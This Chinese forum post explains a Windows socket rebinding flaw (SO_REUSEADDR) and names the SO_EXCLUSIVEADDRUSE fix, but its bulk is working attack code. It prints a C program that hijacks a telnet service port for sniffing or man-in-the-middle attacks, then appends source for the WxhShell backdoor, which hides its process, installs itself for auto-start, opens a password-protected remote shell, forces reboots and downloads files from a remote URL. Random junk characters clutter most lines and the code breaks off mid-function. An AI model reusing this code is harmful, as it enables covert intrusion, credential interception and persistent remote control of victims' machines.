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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YD7i6A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ep>S$a*|  
W1U r~x`  
  saddr.sin_family = AF_INET; Kh'/Ne?  
5;C+K~Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jsfyNl? 6  
w/E4wp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q-X)tH_+w@  
|OhNQoTY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z/6B[,V  
)r5QOa/  
  这意味着什么?意味着可以进行如下的攻击: ]X;Ty\UD&  
4E&URl0Bh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?VO*s-G:J  
M*}C.E!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oq(um:m  
asmMl9)(`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T&X*[kP  
v8Bi1,g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D8C@x`  
a[[u>oHyd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j*rra  
UYD(++  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %'%r.  
h 5t,5e}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `lqMifD  
)pW(Cp  
  #include 03iO4yOu  
  #include ^SVdaQ{7  
  #include W2qW`Ujo{  
  #include    -U'6fx) +  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xaAJ>0IM  
  int main() k 2_ "  
  { #ZeZs31  
  WORD wVersionRequested; DNq=|?qn]  
  DWORD ret; o5 @ l!NQ  
  WSADATA wsaData; Q!z g=_z-  
  BOOL val; "Z#97Jc+J  
  SOCKADDR_IN saddr; w91{''sK  
  SOCKADDR_IN scaddr; `BdZqXKG  
  int err; :p%nQF,*f  
  SOCKET s; VfAIx]Fa  
  SOCKET sc;  9 k)?-  
  int caddsize; oslV@v F  
  HANDLE mt; )g(2xUk-y  
  DWORD tid;   0bzD-K4WVd  
  wVersionRequested = MAKEWORD( 2, 2 ); -r_z,h|  
  err = WSAStartup( wVersionRequested, &wsaData ); $._p !,<  
  if ( err != 0 ) { ;.'2ZNt2  
  printf("error!WSAStartup failed!\n"); v%VCFJ  
  return -1; LK)0g4{  
  } /E@LnKe  
  saddr.sin_family = AF_INET; & 2& K9R  
   o{(-jhR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i:ZpAo+Z{  
tE/j3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'd D d9  
  saddr.sin_port = htons(23); :%{MMhb x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O\q|b#q}/  
  { p>96>7w  
  printf("error!socket failed!\n"); ac p-4g+j  
  return -1; %19TJn%J$  
  } e(@YBQ/Z  
  val = TRUE; ahU\(=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B!jT@b{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +D& W!m  
  { s,\!@[N  
  printf("error!setsockopt failed!\n"); L ![bf5T  
  return -1; X48Q{E+  
  } `[0.G0i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =.#*MYB.l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9(dbou  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vHCz_ FV  
Ps4spy0Fp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wwF]+w%lOw  
  { A84I*d  
  ret=GetLastError(); @f-0OX$*  
  printf("error!bind failed!\n"); u0^GB9q  
  return -1; M@[{j  
  } hug8Hhf_&  
  listen(s,2); Q4JwX=ZVj  
  while(1) 5#p [Q _  
  { Qb!9QlW  
  caddsize = sizeof(scaddr); C%85Aq*4  
  //接受连接请求 22a$//}E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O{y2tz3  
  if(sc!=INVALID_SOCKET) ~N&j6wHg#  
  { | y\B*P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MW=2GhD=  
  if(mt==NULL) \(R(S!xr_  
  { \h~;n)FI  
  printf("Thread Creat Failed!\n"); Ratg!l|'-  
  break; Y?=+A4v  
  } 8sOM%y9M  
  } ?_3K]i1IS  
  CloseHandle(mt);  P 1X8  
  } `r & IA  
  closesocket(s); />S=Y"a/7  
  WSACleanup(); DB-4S-2  
  return 0; $5z O=`  
  }   x>8=CiUE  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9He>F7J:p'  
  { @@9#od O  
  SOCKET ss = (SOCKET)lpParam;  )f>s\T  
  SOCKET sc; U{ gJn#e/.  
  unsigned char buf[4096]; ]7}2"?J4v  
  SOCKADDR_IN saddr; ]xBQ7Xqf|  
  long num; ^EdY:6NJ=A  
  DWORD val; pP;GDW4  
  DWORD ret; \/*r45!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gm B?L0UV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   44B)=p7  
  saddr.sin_family = AF_INET; ):E4qlB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #>g]CRN  
  saddr.sin_port = htons(23); i9[=x(-@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }A'QXtI/G  
  { Sp: `Z1kH  
  printf("error!socket failed!\n"); h`F8GNx(  
  return -1; |tC!`.^\  
  } f7mP4[+dS  
  val = 100; $/ew'h9q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qP-*  
  { ;?"2sS!AHQ  
  ret = GetLastError(); K]yCt~A$  
  return -1; J~9l+?  
  } H.qp~-n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m7Nm!Z7  
  { W]{mEB  
  ret = GetLastError(); P(8zJk6h),  
  return -1; *D! $gfa  
  } N%'=el4L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *aT3L#0(  
  { 3#}5dO  
  printf("error!socket connect failed!\n"); ?u{y[pI6  
  closesocket(sc);  ~,Ck  
  closesocket(ss); %Ak"d+OH4  
  return -1; X!V@jo9?  
  } /xj^TyWM  
  while(1) SsiAyQ|Ma  
  { r%A-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c&z@HEzV7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vG`R.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eL[BH8l  
  num = recv(ss,buf,4096,0); h lD0^8S  
  if(num>0) 7Rqjf6kX`O  
  send(sc,buf,num,0); s|.V:%9e  
  else if(num==0) $q.% 4  
  break; H]K(`)y}4  
  num = recv(sc,buf,4096,0); Q"n|<!DN  
  if(num>0) (E )@@p7,:  
  send(ss,buf,num,0); @JVax-N  
  else if(num==0) ZNNgi@6>  
  break; Ll\y2oJ  
  } RZi]0l_A'  
  closesocket(ss); [GJ_]w^}j  
  closesocket(sc); #)QR^ss)iw  
  return 0 ; vzA)pB~;  
  } Dp4\rps  
_PZGns,u  
*oqQ=#\  
========================================================== m~mw1r  
J=|PZ2"  
下边附上一个代码,,WXhSHELL {>'GE16x  
|pqc(B u  
========================================================== e$}x;&cQ  
GY%lPp  
#include "stdafx.h" Z_Ffiw(p  
cL}} ^  
#include <stdio.h> $x#0m  
#include <string.h> ZE863M@.  
#include <windows.h> A J<Sa=  
#include <winsock2.h> 6Ty;m>j  
#include <winsvc.h> `3m7b!0k  
#include <urlmon.h> MlVN'w  
'F.Da#st!}  
#pragma comment (lib, "Ws2_32.lib") ^u`1W^>  
#pragma comment (lib, "urlmon.lib") *f{\ze@5=  
,\ [R\s  
#define MAX_USER   100 // 最大客户端连接数 YMx]i,u'+  
#define BUF_SOCK   200 // sock buffer M|nTO  
#define KEY_BUFF   255 // 输入 buffer VgLrufJ  
N# $ob 9  
#define REBOOT     0   // 重启 &g%9$*gmT  
#define SHUTDOWN   1   // 关机 h3U| ~h  
H=O/w3  
#define DEF_PORT   5000 // 监听端口 CmKbpN*  
|X@ZM  
#define REG_LEN     16   // 注册表键长度 1{{z[w#  
#define SVC_LEN     80   // NT服务名长度 2 ZW {  
NN\>( =  
// 从dll定义API Dz4e.tvN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tGv5pe*r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .BP@1K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .&fG_(6|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ErmlM#u  
5'=\$Ob  
// wxhshell配置信息 [vCZoG8+>  
struct WSCFG { %X)w$}WH  
  int ws_port;         // 监听端口 Q'D%?Vg'  
  char ws_passstr[REG_LEN]; // 口令 91'i7&~xdG  
  int ws_autoins;       // 安装标记, 1=yes 0=no L|O[u^  
  char ws_regname[REG_LEN]; // 注册表键名 d^AXhQjQN-  
  char ws_svcname[REG_LEN]; // 服务名 [H ^ ktF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W !TnS/O_1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9n\:grW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;w0|ev 6|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;pn*|Bsq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t+7|/GLs2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IL*Ghq{/  
.=@xTJh  
}; 62BT3/~  
&GMBvmP  
// default Wxhshell configuration ;$=kfj9 :7  
struct WSCFG wscfg={DEF_PORT, rD ^ b{]E3  
    "xuhuanlingzhe", R]L$Ld< ij  
    1, = cQK^$6(  
    "Wxhshell", /Wos{ }Z 0  
    "Wxhshell", 5,Rxc=  
            "WxhShell Service", NL`}rj  
    "Wrsky Windows CmdShell Service", 8x":7 yV&  
    "Please Input Your Password: ", E<6Fjy  
  1, i"0]L5=P  
  "http://www.wrsky.com/wxhshell.exe", !' ;1;k);  
  "Wxhshell.exe" ob=](  
    }; FO[x c;  
(@wgNA-P  
// 消息定义模块 EyU5r$G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I'W`XN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MPaF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `p qj~s  
char *msg_ws_ext="\n\rExit."; ~@Yiwp\"  
char *msg_ws_end="\n\rQuit."; (.r9bl  
char *msg_ws_boot="\n\rReboot..."; R-%v??  
char *msg_ws_poff="\n\rShutdown..."; &|6 A 8,  
char *msg_ws_down="\n\rSave to "; ha Tmfh_|  
#GoZH?MAF  
char *msg_ws_err="\n\rErr!"; 7S^ba  
char *msg_ws_ok="\n\rOK!"; s0EF{2<F  
OGA_3|[S   
char ExeFile[MAX_PATH]; .AHf]X0  
int nUser = 0;  al#BfcZW  
HANDLE handles[MAX_USER]; =17d7#-  
int OsIsNt; R9 +0ZoS  
K+WbxovXU  
SERVICE_STATUS       serviceStatus; w8(8n&5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vMD%.tk  
9x4%M&<Z9a  
// 函数声明 Mk=M)d`  
int Install(void); 0[\sz>@  
int Uninstall(void); >]/RlW[  
int DownloadFile(char *sURL, SOCKET wsh); 0Wd2Z-I  
int Boot(int flag); C_5o&O8Bc  
void HideProc(void); Ufw_GYxan  
int GetOsVer(void); kh7RQbNY<I  
int Wxhshell(SOCKET wsl); ([g[\c,H  
void TalkWithClient(void *cs); Sm7O%V8{p  
int CmdShell(SOCKET sock); E}qW'  
int StartFromService(void); d1[;~)  
int StartWxhshell(LPSTR lpCmdLine); U!y GZEU"[  
;,WI_iP(w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O%H c%EfG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MP LgE.n  
?**9hu\BG  
// 数据结构和表定义 Jam&Rj,  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Kbq.4  
{ u)X]]6YJ  
{wscfg.ws_svcname, NTServiceMain}, :ebu8H9f%  
{NULL, NULL} #aHJ|[[(n  
}; -!bfxbP  
4`X]$.  
// 自我安装 6y0CEly>3#  
int Install(void) 4LY$;J;2  
{ ;xXD2{q  
  char svExeFile[MAX_PATH]; ":I@>t{H*  
  HKEY key; P* Z1Rs_  
  strcpy(svExeFile,ExeFile); JK jVrx> @  
2%{(BT6  
// 如果是win9x系统,修改注册表设为自启动 FN+x<VXo(  
if(!OsIsNt) { z<I@SI^>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NsJ]Tp5!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $*\G Z$y>  
  RegCloseKey(key); )/:j$aq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @r130eLh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c'!+]'Lr  
  RegCloseKey(key); |XrGf2P9u  
  return 0; ow<z @^ 3'  
    } q2{Aq[  
  } h 2QJQ|7a  
} N9S?c  
else { Jx+e_k$gHO  
nSSj&q-O  
// 如果是NT以上系统,安装为系统服务 C CDO8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }+/F?_I= %  
if (schSCManager!=0) -J& b~t@  
{ AqZ()p*z  
  SC_HANDLE schService = CreateService )x<oRHx]  
  ( hy}n&h  
  schSCManager, n/ CP2A  
  wscfg.ws_svcname, SHA6;y+U/~  
  wscfg.ws_svcdisp, [QZ8M@Gty#  
  SERVICE_ALL_ACCESS, p=T6Ix'_2e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l0&U7gr  
  SERVICE_AUTO_START, IW>\\&pJ  
  SERVICE_ERROR_NORMAL, 8ioxb`U  
  svExeFile, Ib}~Q@?2  
  NULL, IM(=j  
  NULL, S-7ryHH*0  
  NULL,  _(_U=  
  NULL, Q2LAXTF]y  
  NULL .  g8WMm  
  ); {P7 I<^,  
  if (schService!=0) _8{6&AmIw  
  { C"cBlru8B  
  CloseServiceHandle(schService); .4%6_`E  
  CloseServiceHandle(schSCManager); CubBD+h l*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y,F|L?dIq  
  strcat(svExeFile,wscfg.ws_svcname); /ReOf<%B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (GJX[$@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6DxT(VU}  
  RegCloseKey(key); pKzrdw-!  
  return 0; [ApAd  
    } 08W^  
  } 5uAUi=XA>S  
  CloseServiceHandle(schSCManager); ^@-qnU lH  
} 1 F+$\fLr  
} aUyJi  
UNhM:!A  
return 1; # n\|Q\W  
} )uK Tf=;  
3f)!RKS9q  
// 自我卸载 ,9"A"p*R  
int Uninstall(void) _h1:{hF  
{ JfVGs;_,  
  HKEY key; F !MxC  
JPmZ%]wA  
if(!OsIsNt) { " o>` Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 : .bqRu  
  RegDeleteValue(key,wscfg.ws_regname); eCy]ugsi%  
  RegCloseKey(key); 5cZKk/"Ad}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KKGwMJku}  
  RegDeleteValue(key,wscfg.ws_regname); JrJTIUf_  
  RegCloseKey(key); K-6+fgeB  
  return 0; lj+}5ySG/  
  } *<l9d  
} #(dERET*  
} F m$;p6&j  
else { tKLAA+Z  
be(p13&od  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |>Wi5h{6X  
if (schSCManager!=0) x-Fl|kwX.5  
{ QV*W#K\7q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *OR(8;  
  if (schService!=0) e =4k|8G  
  { _Z3_I_lW  
  if(DeleteService(schService)!=0) { V?C_PMa  
  CloseServiceHandle(schService); W}.p,d  
  CloseServiceHandle(schSCManager); F94Qb}  
  return 0; :qxd s>Xm  
  } 3=Va0}#&  
  CloseServiceHandle(schService); 7p+uHm  
  } 5imqZw  
  CloseServiceHandle(schSCManager); ghVxcK  
} ,}HnS)+  
} od`:w[2\  
:}[[G2|9  
return 1; TM$Ek^fQ.  
} w*qmC<D$A  
I3D#wXW  
// 从指定url下载文件 S$%Y{  
int DownloadFile(char *sURL, SOCKET wsh) ]zR,Y= #  
{ ~glFB`?[  
  HRESULT hr; 1`I#4f  
char seps[]= "/"; jY8u1z  
char *token; QAK.Qk?Qu  
char *file; RWK##VHK  
char myURL[MAX_PATH]; Dwi[aC+k  
char myFILE[MAX_PATH]; :rX/I LAr  
iT"H%{+~  
strcpy(myURL,sURL); @V5'+^O  
  token=strtok(myURL,seps); G[[NDK  
  while(token!=NULL) ^bckl tSo  
  { pgU4>tyD  
    file=token; 9KLhAYaq  
  token=strtok(NULL,seps); J"O#w BM9  
  } &`A2&mZ  
zV=(e( [  
GetCurrentDirectory(MAX_PATH,myFILE); fP 5!`8  
strcat(myFILE, "\\"); ?.&?4*u  
strcat(myFILE, file); tmf= 1M  
  send(wsh,myFILE,strlen(myFILE),0); wJF Fg :  
send(wsh,"...",3,0); x1ID6kI[{*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s7#|'jhZt  
  if(hr==S_OK) DozC>  
return 0; uyDYS  
else 4!r> ^a  
return 1; q'p>__Ox  
dwt<s [k  
} V7 dAB,:  
-hP-w>  
// 系统电源模块 L u?)Rya  
int Boot(int flag) ofA6EmQ37  
{ r]vD]  
  HANDLE hToken; & 5u[q  
  TOKEN_PRIVILEGES tkp; e{x|d?)8  
kg_f;uk+  
  if(OsIsNt) { C'$}!p70  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B(%bBhs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8!AMRE  
    tkp.PrivilegeCount = 1;  p3r1lUw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f{[,!VG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \w=7L- 8  
if(flag==REBOOT) { oNV(C'A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @5# RGM)5^  
  return 0; =7Y gES  
} 4$+9k;m'  
else { <AB.`["  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T6ZJSKM  
  return 0; ,-XJ@@2gM  
} V6ioQx=K#  
  } NR)[,b\v  
  else { CQcb !T  
if(flag==REBOOT) { 6c>tA2G|8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !OJSQB,  
  return 0; 'k9hzk(*  
} ;Q.g[[J/p  
else { {@u}-6:wAT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m 5NF)eL  
  return 0; ;,h*s, i  
} IBzHXa>75  
} ptmPO4f  
9h6xli  
return 1; IK6XJsz$J  
} 4l?98  
p3eJFg$  
// win9x进程隐藏模块 ZN ?P4#Z S  
void HideProc(void) s `r  tr  
{ OQA3~\Vu  
6]}Xi:I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m~Dq0 T  
  if ( hKernel != NULL ) =;3|?J0=  
  { CFh&z^]PR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u0J+Nj9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V6d*O`  
    FreeLibrary(hKernel); *X;g Y  
  } m`c(J1Et  
~QsQ7SAs  
return; NwG&uc+Q  
} /j' We-C  
>~$ S!  
// 获取操作系统版本 MQ>vHapr  
int GetOsVer(void) '+X9MzU*\  
{ 3A} n tA!  
  OSVERSIONINFO winfo; J 6S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I#Tl  
  GetVersionEx(&winfo); Hf %;FaJ=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^aZ Wu|p  
  return 1; b@f. Kd7I  
  else {-S0m=  
  return 0; Z<r&- !z  
} |"P5%k#6^>  
P N_QK Z  
// 客户端句柄模块 &K^h'>t'  
int Wxhshell(SOCKET wsl) o\Hg2^YY>  
{ T"Q4vk,3*J  
  SOCKET wsh; l{Hi5x'H  
  struct sockaddr_in client; {F k]X#j  
  DWORD myID; F,O+axO ja  
)}c$n  
  while(nUser<MAX_USER) +X;6%O;  
{ DI}h?Uf ,  
  int nSize=sizeof(client); !T0IMI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -JZl?hY(  
  if(wsh==INVALID_SOCKET) return 1; >CPkL_@VZ=  
IHo6&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %1HW ) 7  
if(handles[nUser]==0) xm YA/wt8  
  closesocket(wsh); cp?`\P  
else f8?K_K;\   
  nUser++; <$D)uY K  
  } FZA8@J|Q4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o D* '  
=-`+4zB\  
  return 0; 2%W(^Lj  
} s !8]CV>  
nfDPM\FFD  
// 关闭 socket +nMgQOs  
void CloseIt(SOCKET wsh) #K*d:W3C  
{ +d6E)~qKL  
closesocket(wsh); rP`\<}a.  
nUser--; u>S&?X'a  
ExitThread(0);  ]NAPvw#p  
} O~,^x$v e  
X\%],"9%  
// 客户端请求句柄 {b<8Z*4W  
void TalkWithClient(void *cs) )X^nzhZ2O"  
{ X Y4s  
$;;?'!%.  
  SOCKET wsh=(SOCKET)cs; *qb`wg  
  char pwd[SVC_LEN]; !Q7   
  char cmd[KEY_BUFF]; jSYj+k  
char chr[1]; @/0aj  
int i,j; 6xFZv t  
K.z}%a  
  while (nUser < MAX_USER) { e('c 9 Y  
"4t Ry9q  
if(wscfg.ws_passstr) { *h =7:*n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x(b&r g.-0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RPiCXpJv&  
  //ZeroMemory(pwd,KEY_BUFF); ao-C9|2>NU  
      i=0; mG@Q}Y(  
  while(i<SVC_LEN) { *Nt6 Ufq6  
4UL-j  
  // 设置超时 I$ mOy{/#  
  fd_set FdRead; Ew:JpMR  
  struct timeval TimeOut; AN~1E@"  
  FD_ZERO(&FdRead); `z=MI66Nl  
  FD_SET(wsh,&FdRead); <![T~<.  
  TimeOut.tv_sec=8; ZY/at/v  
  TimeOut.tv_usec=0; ,OasT!Sr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sG VC+!E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v}_$9&|S  
f8&=D4)-w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ixS78KIr  
  pwd=chr[0]; D!m hR?t  
  if(chr[0]==0xd || chr[0]==0xa) { 4_"ZSVq]#  
  pwd=0; `\Npu  
  break; |M K-~ep  
  } 5%>U.X?i  
  i++; _>`0!mG  
    } yQx>h6  
;:!LAe  
  // 如果是非法用户,关闭 socket 2hp x%H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u\E.H5u27  
} 16 Xwtn72  
1Xs! ew)>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U50X`J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); df:,5@CJ8  
FFQF0.@EBi  
while(1) { 2)8lJXM$L  
k{b ba=<  
  ZeroMemory(cmd,KEY_BUFF); q/3}8BJ  
F@I_sGCcb  
      // 自动支持客户端 telnet标准   Va 5U`0  
  j=0; Yr31GJ}K  
  while(j<KEY_BUFF) { SUVr&S6Nk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & aLR'*]6  
  cmd[j]=chr[0]; OKU P  
  if(chr[0]==0xa || chr[0]==0xd) { !.J~`Y'd_  
  cmd[j]=0; ;% !?dH6  
  break; ;dWqMnV  
  } Qxvz}r.l]  
  j++; ;,A\bmC  
    } B#DV<%GPl  
7uDUZdJy  
  // 下载文件 T#BOrT>V  
  if(strstr(cmd,"http://")) { 14&EdTG.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {0LdLRNZ  
  if(DownloadFile(cmd,wsh)) UF{2Gx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,\m c.80  
  else drZw#b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f*5"Jh@  
  } v8X&H  
  else { ?)X@4Jem  
}"8_$VDcz  
    switch(cmd[0]) { oD8-I^  
  5cADC`q  
  // 帮助 wTW"1M  
  case '?': { "L)pH@)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ES~]rPVS  
    break; }n=NHHtJ  
  } bk?\=4B:E  
  // 安装 y,x~S\>+  
  case 'i': { Gt%kok  
    if(Install()) 3edAI&a5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iu[EUi!"  
    else f LW>-O73  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg+SXq6G  
    break; {k*_'0   
    } qa~[fORO[  
  // 卸载 CL*%06QyE  
  case 'r': { '!I?C/49k  
    if(Uninstall()) at*=#?M1?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xpxm9ySwu  
    else 4 5lg&oO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9VByFQgM  
    break; 4_Jdh48-d  
    } 3u^TJt)  
  // 显示 wxhshell 所在路径 hJ<2bgQo  
  case 'p': { @CmxH(-i-  
    char svExeFile[MAX_PATH]; VJ"3G;;  
    strcpy(svExeFile,"\n\r"); a#IJ<^[8  
      strcat(svExeFile,ExeFile); kC0!`$<2f)  
        send(wsh,svExeFile,strlen(svExeFile),0); (+_J0i t  
    break; vy#(|[pL{  
    } M<)2  
  // 重启 p(G?  
  case 'b': { uS'ji k}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %)D7Dr  
    if(Boot(REBOOT)) fUL"fMoU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f3>/6 C  
    else { wj^I1;lO  
    closesocket(wsh); "Pc,+>vh  
    ExitThread(0); W24bO|>D  
    } ~roHnJ>  
    break; k +Oq$Pi  
    } {dwV-qz  
  // 关机 a}K+w7VY\  
